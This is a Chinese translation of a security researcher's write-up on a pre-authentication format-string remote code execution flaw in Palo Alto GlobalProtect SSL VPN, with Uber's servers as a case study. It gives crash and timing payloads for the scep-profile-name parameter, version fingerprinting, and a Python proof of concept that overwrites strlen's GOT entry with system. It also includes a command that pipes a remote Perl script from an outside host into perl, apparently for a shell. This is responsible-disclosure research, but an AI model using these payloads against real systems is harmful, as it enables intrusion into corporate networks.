百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术资源 > 正文

攻击SSL VPN(一)

off999 2025-03-01 15:08 36 浏览 0 评论

?? 翻译文章,原文: Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study![1]



?


SSL VPN保护公司资产不受Internet的影响,但是SSL VPN本身容易受到攻击怎么办?他们可以访问Internet,值得信赖,可以可靠地保护您访问Intranet的唯一方法。一旦SSL VPN服务器受到威胁,攻击者便可以渗透到您的内网,甚至接管所有连接到SSL VPN服务器的用户!由于其重要性,在过去的几个月中,我们开始对领先的SSL VPN产品的安全性进行新的研究。

我们计划将结果发表在3篇文章中。我们将其作为第一篇,因为我们认为这是一个有趣的故事,非常适合作为我们的Black Hat USA[2]和DEFCON[3]演讲的开胃菜:

?Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs!

不用担心剧透,我们的BHUSA/DEFCON演讲中不包括这个故事。

在下面的演示中,我们将提供更多的核心漏洞利用和疯狂的错误链,以侵入您的SSL VPN。从我们如何入侵设备以及我们关注的攻击媒介上来。我们还将演示如何从唯一暴露的HTTPS端口获得root shell,针对服务器的所有者暗中为服务器加武器,以及滥用隐藏功能来接管所有VPN客户端!所以请期待它;)

故事


在本文中,我们想谈一谈Palo Alto SSL VPN上的漏洞。Palo Alto称其SSL VPN产品系列为GlobalProtect。您可以通过302重定向到Web根目录上的 /global-protect/login.esp 轻松识别GlobalPortect服务!

关于该漏洞,我们在Red Team评估服务期间意外发现了该漏洞。起初,我们认为这是一个0Day。但是,我们无法在最新版本的GlobalProtect远程服务器上进行复制。因此,我们开始怀疑这是否是已知漏洞。

我们在Internet上进行了搜索,但找不到任何东西。以前没有公开的RCE漏洞利用[1],也没有任何官方公告包含类似内容,也没有CVE。因此,我们认为这必须是1Day的无声修复!

[1]之前有一些有关Pan-OS管理界面的漏洞,例如CVE-2017-15944[4]和 @_fel1x[5]撰写的出色的Troppers16论文[6],但不幸的是,他们并没有谈论GlobalProtect,并且管理界面仅暴露于局域网端口

Bug


该错误非常简单。这只是一个简单的格式字符串漏洞,无需身份验证!sslmgr是SSL网关,用于处理服务器和客户端之间的SSL握手。该守护程序由Nginx反向代理公开,可以通过路径/sslmgr进行访问

$ curl https://global-protect/sslmgr
        
  
  error
Invalid parameters        

在参数提取期间,守护程序搜索字符串scep-profile-name并将其值作为snprintf格式传递以填充缓冲区。这导致了格式字符串攻击。您可以使用 %n 使服务崩溃!

POST /sslmgr HTTP/1.1Host: global-protectContent-Length: 36
?scep-profile-name=%n%n%n%n%n...

影响版本

根据我们的调查,2018年7月之前的所有GlobalProtect都容易受到攻击!这是受影响的版本列表:

?Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19

?Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12

?Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

9.x和7.0.x系列不受此漏洞影响

如何验证这个漏洞

尽管我们知道错误在哪里,但要验证漏洞仍然不容易。该格式字符串没有输出,因此我们无法获得任何地址泄漏来验证错误。崩溃服务绝不是我们的首选[1]。为了避免崩溃,我们需要找到一种方法来优雅地验证漏洞!

通过阅读 snprintf 手册,我们选择%c作为我们的小工具!如果格式前面有数字,例如%9999999c,则 snprintf 在内部重复对应的时间。我们观察到重复次数很大的响应时间,以验证此漏洞!

$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr >/dev/null
real    0m1.721
suser    0m0.037s
sys     0m0.005s$ 
time curl -s -d 'scep-profile-name=%99999999c' https://global-protect/sslmgr >/dev/nullreal    0m2.051suser    0m0.035ssys     0m0.012s$ time curl -s -d 'scep-profile-name=%999999999c' https://global-protect/sslmgr >/dev/nullreal    0m5.324suser    0m0.021ssys     0m0.018s

如您所见,响应时间随着%c的数量而增加。因此,从时差来看,我们可以轻松识别出易受攻击的SSL VPN!

[1]尽管有一个监视sslmgr守护程序的看门狗,但它仍然无法使服务崩溃!

利用程序

一旦我们可以验证错误,利用就很容易了。为了成功利用二进制文件,我们需要首先确定详细版本。我们可以通过Last-Modified标头来区分,例如8.x版本中的
/global-protect/portal/css/login.css和7.x版本中的/images/logo_pan_158.gif!

$ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified
Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT

使用指定的版本,我们现在可以编写我们自己的漏洞利用。我们只需将全局偏移表(GOT)上的strlen指针修改为系统的过程链接表(PLT)。这是PoC:

#!/usr/bin/python

import requests
from pwn import *

url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt"

strlen_GOT = 0x667788 # change me
system_plt = 0x445566 # change me

fmt =  '%70$n'
fmt += '%' + str((system_plt>>16)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(40,60):
    fmt += '%'+str(i)+'$p'

data = "scep-profile-name="
data += p32(strlen_GOT)[:-1]
data += "&appauthcookie="
data += p32(strlen_GOT+2)[:-1]
data += "&host-id="
data += p32(strlen_GOT+4)[:-1]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)

修改完成后,sslmgr成为我们的webshell,我们可以通过以下命令执行命令:

$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr

我们已经把此Bug报告给了Palo Alto[7]。但是,我们得到以下答复:

你好 Orange:

感谢您的提交。对于外部研究人员向我们报告的安全漏洞,Palo Alto Networks确实遵循协调的漏洞披露。
我们不对在内部找到的CVE物品进行修复。此问题先前已得到解决,但是如果您在当前版本中找到某些内容,
请告知我们。

Kind regards

个案研究

在意识到这不是0Day之后,我们对全球所有Palo Alto SSL VPN进行了调查,以查看是否有大公司在使用易受攻击的GlobalProtect,而Uber就是其中之一!根据我们的调查,Uber在全球拥有大约22台运行GlobalProtect的服务器,这里我们以
vpn.awscorp.uberinternal.com 为例!

从域名来看,我们猜测Uber使用了来自AWS Marketplace的BYOL。在登录页面上,Uber似乎使用的是8.x版本,我们可以从市场概述页面上受支持的版本列表中定位可能的目标版本:

?8.0.3

?8.0.6

?8.0.8

?8.0.9

?8.1.0

最终,我们找到了版本8.0.6,并得到shell!



Hey @orange — we wanted to provide a little more context on the decision for this bounty. During our internal investigation, we found that the Palo Alto SSL VPN is not the same as the primary VPN which is used by the majority of our employees.?Additionally, we hosted the Palo Alto SSL VPN in AWS as opposed to our core infrastructure; as such, this would not have been able to access any of our internal infrastructure or core services. For these reasons, we determined that while it was an unauthenticated RCE, the overall impact and positional advantage of this was low. Thanks again for an awesome report!

这是一个公平的决定。与Uber交流并向他们的Bug赏金计划报告总是一个美好的时光。我们不太在乎赏金,因为我们喜欢整个研究过程并反馈给安全社区!没有比这更好的了!

References

[1] Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study!: https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html

[2] Black Hat USA: https://www.blackhat.com/us-19/briefings/schedule/#infiltrating-corporate-intranet-like-nsa---pre-auth-rce-on-leading-ssl-vpns-15545

[3] DEFCON: https://www.defcon.org/html/defcon-27/dc-27-speakers.html

[4] CVE-2017-15944: https://www.exploit-db.com/exploits/43342

[5] @_fel1x: https://twitter.com/_fel1x

[6] Troppers16论文:
https://www.troopers.de/events/troopers16/630_attacking_next-generation_firewalls/

[7] Palo Alto: https://securityadvisories.paloaltonetworks.com/Report

相关推荐

安全教育登录入口平台(安全教育登录入口平台官网)

122交通安全教育怎么登录:122交通网的注册方法是首先登录网址http://www.122.cn/,接着打开网页后,点击右上角的“个人登录”;其次进入邮箱注册,然后进入到注册页面,输入相关信息即可完...

大鱼吃小鱼经典版(大鱼吃小鱼经典版(经典版)官方版)

大鱼吃小鱼小鱼吃虾是于谦跟郭麒麟的《我的棒儿呢?》郭德纲说于思洋郭麒麟作诗的相声,最后郭麒麟做了一首,师傅躺在师母身上大鱼吃小鱼小鱼吃虾虾吃水水落石出师傅压师娘师娘压床床压地地动山摇。...

谷歌地球下载高清卫星地图(谷歌地球地图下载器)
  • 谷歌地球下载高清卫星地图(谷歌地球地图下载器)
  • 谷歌地球下载高清卫星地图(谷歌地球地图下载器)
  • 谷歌地球下载高清卫星地图(谷歌地球地图下载器)
  • 谷歌地球下载高清卫星地图(谷歌地球地图下载器)
哪个软件可以免费pdf转ppt(免费的pdf转ppt软件哪个好)
哪个软件可以免费pdf转ppt(免费的pdf转ppt软件哪个好)

要想将ppt免费转换为pdf的话,我们建议大家可以下一个那个wps,如果你是会员的话,可以注册为会员,这样的话,在wps里面的话,就可以免费将ppt呢转换为pdfpdf之后呢,我们就可以直接使用,不需要去直接不需要去另外保存,为什么格式转...

2026-02-04 09:03 off999

电信宽带测速官网入口(电信宽带测速官网入口app)

这个网站看看http://www.swok.cn/pcindex.jsp1.登录中国电信网上营业厅,宽带光纤,贴心服务,宽带测速2.下载第三方软件,如360等。进行在线测速进行宽带测速时,尽...

植物大战僵尸95版手机下载(植物大战僵尸95 版下载)

1可以在应用商店或者游戏平台上下载植物大战僵尸95版手机游戏。2下载教程:打开应用商店或者游戏平台,搜索“植物大战僵尸95版”,找到游戏后点击下载按钮,等待下载完成即可安装并开始游戏。3注意:确...

免费下载ppt成品的网站(ppt成品免费下载的网站有哪些)

1、Chuangkit(chuangkit.com)直达地址:chuangkit.com2、Woodo幻灯片(woodo.cn)直达链接:woodo.cn3、OfficePlus(officeplu...

2025世界杯赛程表(2025世界杯在哪个国家)

2022年卡塔尔世界杯赛程公布,全部比赛在卡塔尔境内8座球场举行,2022年,决赛阶段球队全部确定。揭幕战于当地时间11月20日19时进行,由东道主卡塔尔对阵厄瓜多尔,决赛于当地时间12月18日...

下载搜狐视频电视剧(搜狐电视剧下载安装)

搜狐视频APP下载好的视频想要导出到手机相册里方法如下1、打开手机搜狐视频软件,进入搜狐视频后我们点击右上角的“查找”,找到自已喜欢的视频。2、在“浏览器页面搜索”窗口中,输入要下载的视频的名称,然后...

pubg免费下载入口(pubg下载入口官方正版)
  • pubg免费下载入口(pubg下载入口官方正版)
  • pubg免费下载入口(pubg下载入口官方正版)
  • pubg免费下载入口(pubg下载入口官方正版)
  • pubg免费下载入口(pubg下载入口官方正版)
永久免费听歌网站(丫丫音乐网)

可以到《我爱音乐网》《好听音乐网》《一听音乐网》《YYMP3音乐网》还可以到《九天音乐网》永久免费听歌软件有酷狗音乐和天猫精灵,以前要跳舞经常要下载舞曲,我从QQ上找不到舞曲下载就从酷狗音乐上找,大多...

音乐格式转换mp3软件(音乐格式转换器免费版)

有两种方法:方法一在手机上操作:1、进入手机中的文件管理。2、在其中选择“音乐”,将显示出手机中的全部音乐。3、点击“全选”,选中所有音乐文件。4、点击屏幕右下方的省略号图标,在弹出菜单中选择“...

电子书txt下载(免费的最全的小说阅读器)

1.Z-library里面收录了近千万本电子书籍,需求量大。2.苦瓜书盘没有广告,不需要账号注册,使用起来非常简单,直接搜索预览下载即可。3.鸠摩搜书整体风格简洁清晰,书籍资源丰富。4.亚马逊图书书籍...

最好免费观看高清电影(播放免费的最好看的电影)

在目前的网上选择中,IMDb(互联网电影数据库)被认为是最全的电影网站之一。这个网站提供了各种类型的电影和电视节目的海量信息,包括剧情介绍、演员表、评价、评论等。其还提供了有关电影制作背后的详细信息,...

孤单枪手2简体中文版(孤单枪手2简体中文版官方下载)

要将《孤胆枪手2》游戏的征兵秘籍切换为中文,您可以按照以下步骤进行操作:首先,打开游戏设置选项,通常可以在游戏主菜单或游戏内部找到。然后,寻找语言选项或界面选项,点击进入。在语言选项中,选择中文作为游...

取消回复欢迎 发表评论: